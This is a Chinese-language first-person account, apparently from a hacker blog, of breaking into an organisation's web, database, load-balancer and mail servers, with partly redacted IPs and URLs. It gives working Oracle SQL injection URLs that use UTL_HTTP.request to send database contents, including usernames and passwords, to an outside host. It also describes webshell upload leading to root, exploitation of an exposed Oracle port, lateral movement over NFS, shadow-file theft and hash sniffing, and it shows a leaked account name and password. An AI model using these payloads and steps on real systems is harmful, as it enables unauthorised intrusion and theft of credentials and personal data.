記錄一次搞站

原文已經發到了黑防10年，記錄丟失了，原本是想發本身空間的 ，一直沒發，如今從新搞一次，而後記錄之，勿轉，謝謝。



xx.xx.50.163 數據庫 192.168.0.155 websa   搞定
TCP ports (6) 21,22,80,111,1521,8080

xx.xx.50.164 郵件1
TCP ports (6) 21,22,25,80,111,3306

xx.xx.50.165 郵件2
TCP ports (5) 21,22,25,53,3306

xx.xx.50.166  主站     192.168.0.152                    搞定
TCP ports (4) 21,22,80,111  
inet addr:  Bcast:192.168.0.255  Mask:255.255.255.0 


xx.xx.50.167 主站2  192.168.0.153  搞定
TCP ports (4) 21,22,80,111


具體也就很少說了，基本環境是redhat9+resin+jsp，主站端口21，22，80，111，rpc111端口貌似很容易出問題，研究了metasploit多久，都沒找到一個合適的溢出。只能從網站入手。jsp網站其實也沒多少辦法，上傳，注入，認證問題，jsp容器一些安全問題而已。最後突破口仍是注射點。

http://www.xxxx.net.cn/xxxx/work/firstpage/xx.jsp?type=%B4%F0%D2%C9index=180 and UTL_HTTP.request('xx.xx.72.103:80/'||(select instance_name from v$instance where rownum=1))=1--
and UTL_HTTP.request('xx.xx.142.5:80/'||(select Name from LRN_TEACHER_INFO where rownum=1))=1

不能union，能夠nc反彈注射。固然有工具，我是不會動手的，不是我不會，是我懶，有工具我幹嗎要動手!!工具破解了大部分表，狠花了點時間。猜NAME字段的時候
用的是中文，工具跑不出來，這個地方就用到了oracle的substr和ascii函數。經過猜解名字字段的ascii，而後還原的方式破解除了用戶名，我以爲通篇文章這個地方是重點。呵呵。
http://www.xxxx.net.cn/xxxx/work/firstpage/xx.jsp?type=%B4%F0%D2%C9&index=180%20and%20UTL_HTTP.request('xx.xx.142.5:80/'||(select%20ascii(substr(Name,1,1))%20from%20LRN_TEACHER_INFO%20where%20rownum=1))=1
and UTL_HTTP.request('xx.xx.72.103:80/'||(select PASSWORD from LRN_TE_INFO where where NAME='xx'))=1--


LRN_XXX_INFO
 
ID NAME PASSWORD
0506  xx  123456

最後就破解出來了~拿到必定權限賬號，進入後臺，經過jsp的一個編輯器，上傳jspshell，配置問題，resin的權限是root，直接root了。

LRN_XXX_INFO
 
ID NAME PASSWORD
0506  張俊俊  123456

進入以後，發現數據庫鏈接是另外一個ip，oracle，網站和數據庫分離的。
jspshell上的oracle鏈接器，鏈接不了，傳說中的網上另外一個連oracle數據庫的腳本也不行，resin配置文件中oracle的ip是內網ip陷入了尷尬。最後經過掃描同段
插一句，
先前搞了一個旁邊的windows，ip信息爲
 IP Address. . . . . . . . . . . . : xx.xx.50.169

   Subnet Mask . . . . . . . . . . . : 255.255.255.224 

   Default Gateway . . . . . . . . . : xx.xx.50.161

   DNS Servers . . . . . . . . . . . : xx.xx.96.68

                                       xx.xx.2.69
因此161-190爲ip段

因此掃描161-190，開放1521的端口，仍是管理員配置問題，oracle端口暴露在外，經過本地鏈接的方式連上oracle，dba權限，賦java權限的方式拿下了數據庫權限。

已經搞定主站，和數據庫。

以前檢測的時候，發現主站是作了負載均衡的，我在主站執行mount的時候，發現有外部加載，
192.168.0.153:/www/htdocs/webapps/xxxx/incoming on /www/htdocs/webapps/xxxx/incoming type nfs (rw,bg,addr=192.168.0.153)
192.168.0.153:/www/htdocs/webapps/xxxx/courseware on /www/htdocs/webapps/xxxx/courseware type nfs (rw,bg,addr=192.168.0.153)
192.168.0.153:/www/htdocs/webapps/xxxx/publish on /www/htdocs/webapps/xxxx/publish type nfs (rw,bg,addr=192.168.0.153)
192.168.0.153:/www/htdocs/webapps/xxxx/index.html on /www/htdocs/webapps/xxxx/index.html
正是負載均衡那臺機器，
showmount -e 192.168.0.153
Export list for 192.168.0.153: /www/htdocs/webapps/xxxx/publish    192.168.0.* /www/htdocs/webapps/xxxx/incoming   192.168.0.* /www/htdocs/webapps/xxxx/courseware 192.168.0.* /www/htdocs/webapps/xxxx/index.html 192.168.0.*
而後經過主站jspshell，將馬傳到加載目錄，而後經過訪問ip的形式訪問到了新上傳的jspshell這個地方也是一個迷惑啊，搞的時候 ，上傳了2個不一樣的jsp馬，來判斷。最後我得出的結論是，網站前端的設備，經過dns輪循的方式作的負載，實際上這2臺機器並無同步更新的。

好的如今搞定了主站，均衡站，數據庫站，抓shadow來破，破不出來，原本想截取登陸密碼的，個人那個替換ssh記錄密碼的，只對特定版本，就放過他了。

如今就還有一個郵件了。郵件ip只是多了一個3306，無奈，經過嗅探的方式，以前不是拿了一臺通段的windows麼，嗅探到了mysqlsha1的hash。呵呵。

網上的破解站沒破出來，如今本身還在生表，包括8位數字小寫字符的，48個g的，還有10來個表了，快了，不過破解出來的機率也應該不大。
破不鳥就放過你了 ，呵呵。